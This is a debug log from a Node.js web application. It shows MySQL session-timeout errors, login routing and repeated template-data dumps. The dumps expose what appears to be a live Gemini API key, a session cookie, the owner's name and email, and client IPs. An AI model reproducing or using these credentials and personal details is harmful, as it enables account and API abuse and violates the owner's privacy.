    'user-agent': 'Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36',
    'accept-language': 'en-GB,en-US;q=0.9,en;q=0.8',
    'accept-encoding': 'gzip,br',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'x-forwarded-for': '34.82.196.61',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T00:19:18.114Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.82.196.61',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not_A Brand";v="99", "Google Chrome";v="114", "Chromium";v="114"',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA-PLATFORM': 'Android',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT_LANGUAGE: 'en-GB,en-US;q=0.9,en;q=0.8',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'HTTP_X_FORWARDED-FOR': '34.82.196.61',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-13 00:25:34' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-13 00:25:34' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-13 00:50:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-13 00:50:01' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-13 01:09:35' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-13 01:09:35' as DATETIME)"
}
2025-12-13T01:17:04.030Z server-connect:router Serving templateView /
2025-12-13T01:17:04.030Z server-connect:app Executing action step identify
2025-12-13T01:17:04.030Z server-connect:app options: { provider: 'security' }
2025-12-13T01:17:04.030Z server-connect:auth No login cookie found
2025-12-13T01:17:04.030Z server-connect:output identity: false
2025-12-13T01:17:04.030Z server-connect:app Executing action step restrict
2025-12-13T01:17:04.030Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T01:17:04.031Z server-connect:output restrict: undefined
2025-12-13T01:17:04.738Z server-connect:router Serving templateView /login
2025-12-13T01:17:04.739Z server-connect:app Executing action step identify
2025-12-13T01:17:04.739Z server-connect:app options: { provider: 'security' }
2025-12-13T01:17:04.739Z server-connect:auth No login cookie found
2025-12-13T01:17:04.739Z server-connect:output identity: false
2025-12-13T01:17:04.739Z server-connect:router Render template layouts/authentication
2025-12-13T01:17:04.739Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not_A Brand";v="99", "Google Chrome";v="114", "Chromium";v="114"',
    'cache-control': 'max-age=0',
    'sec-ch-ua-platform': 'Android',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-dest': 'document',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'none',
    'sec-fetch-user': '?1',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36',
    'accept-language': 'en-GB,en-US;q=0.9,en;q=0.8',
    'accept-encoding': 'gzip,br',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'x-forwarded-for': '34.19.61.92',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T01:17:04.738Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.19.61.92',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not_A Brand";v="99", "Google Chrome";v="114", "Chromium";v="114"',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA-PLATFORM': 'Android',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT_LANGUAGE: 'en-GB,en-US;q=0.9,en;q=0.8',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'HTTP_X_FORWARDED-FOR': '34.19.61.92',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-13T01:17:26.739Z server-connect:router Serving templateView /
2025-12-13T01:17:26.740Z server-connect:app Executing action step identify
2025-12-13T01:17:26.740Z server-connect:app options: { provider: 'security' }
2025-12-13T01:17:26.740Z server-connect:auth No login cookie found
2025-12-13T01:17:26.740Z server-connect:output identity: false
2025-12-13T01:17:26.740Z server-connect:app Executing action step restrict
2025-12-13T01:17:26.740Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T01:17:26.741Z server-connect:output restrict: undefined
2025-12-13T01:17:27.103Z server-connect:router Serving templateView /login
2025-12-13T01:17:27.103Z server-connect:app Executing action step identify
2025-12-13T01:17:27.103Z server-connect:app options: { provider: 'security' }
2025-12-13T01:17:27.104Z server-connect:auth No login cookie found
2025-12-13T01:17:27.104Z server-connect:output identity: false
2025-12-13T01:17:27.104Z server-connect:router Render template layouts/authentication
2025-12-13T01:17:27.104Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not_A Brand";v="99", "Google Chrome";v="114", "Chromium";v="114"',
    'cache-control': 'max-age=0',
    'sec-ch-ua-platform': 'Android',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-dest': 'document',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'none',
    'sec-fetch-user': '?1',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36',
    'accept-language': 'en-GB,en-US;q=0.9,en;q=0.8',
    'accept-encoding': 'gzip,br',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'x-forwarded-for': '34.145.126.226',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T01:17:27.103Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.145.126.226',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not_A Brand";v="99", "Google Chrome";v="114", "Chromium";v="114"',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA-PLATFORM': 'Android',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT_LANGUAGE: 'en-GB,en-US;q=0.9,en;q=0.8',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'HTTP_X_FORWARDED-FOR': '34.145.126.226',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-13 03:46:02' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-13 03:46:02' as DATETIME)"
}
2025-12-13T03:52:00.499Z server-connect:router Serving templateView /
2025-12-13T03:52:00.500Z server-connect:app Executing action step identify
2025-12-13T03:52:00.501Z server-connect:app options: { provider: 'security' }
2025-12-13T03:52:00.501Z server-connect:output identity: 1
2025-12-13T03:52:00.501Z server-connect:app Executing action step restrict
2025-12-13T03:52:00.501Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T03:52:00.503Z server-connect:output restrict: undefined
2025-12-13T03:52:00.503Z server-connect:app Executing action step restrict
2025-12-13T03:52:00.503Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T03:52:00.503Z server-connect:output restrict: undefined
2025-12-13T03:52:00.503Z server-connect:router Render template layouts/main
2025-12-13T03:52:00.504Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'x-forwarded-for': '157.48.255.97',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T13:43:11.717Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.255.97',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'HTTP_X_FORWARDED-FOR': '157.48.255.97',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-13T03:52:01.507Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-13T03:52:01.508Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-13T03:52:01.508Z server-connect:app Executing action step identify
2025-12-13T03:52:01.508Z server-connect:app options: { provider: 'security' }
2025-12-13T03:52:01.508Z server-connect:output identity: 1
2025-12-13T03:52:01.508Z server-connect:app Executing action step restrict
2025-12-13T03:52:01.508Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T03:52:01.509Z server-connect:app Executing action step identify
2025-12-13T03:52:01.509Z server-connect:app options: { provider: 'security' }
2025-12-13T03:52:01.509Z server-connect:output identity: 1
2025-12-13T03:52:01.509Z server-connect:app Executing action step restrict
2025-12-13T03:52:01.509Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T03:52:01.510Z server-connect:output restrict: undefined
2025-12-13T03:52:01.510Z server-connect:app Executing action step single
2025-12-13T03:52:01.510Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-13T03:52:01.510Z server-connect:output restrict: undefined
2025-12-13T03:52:01.511Z server-connect:app Executing action step select
2025-12-13T03:52:01.511Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-13T03:52:01.511Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-13T03:52:01.518Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
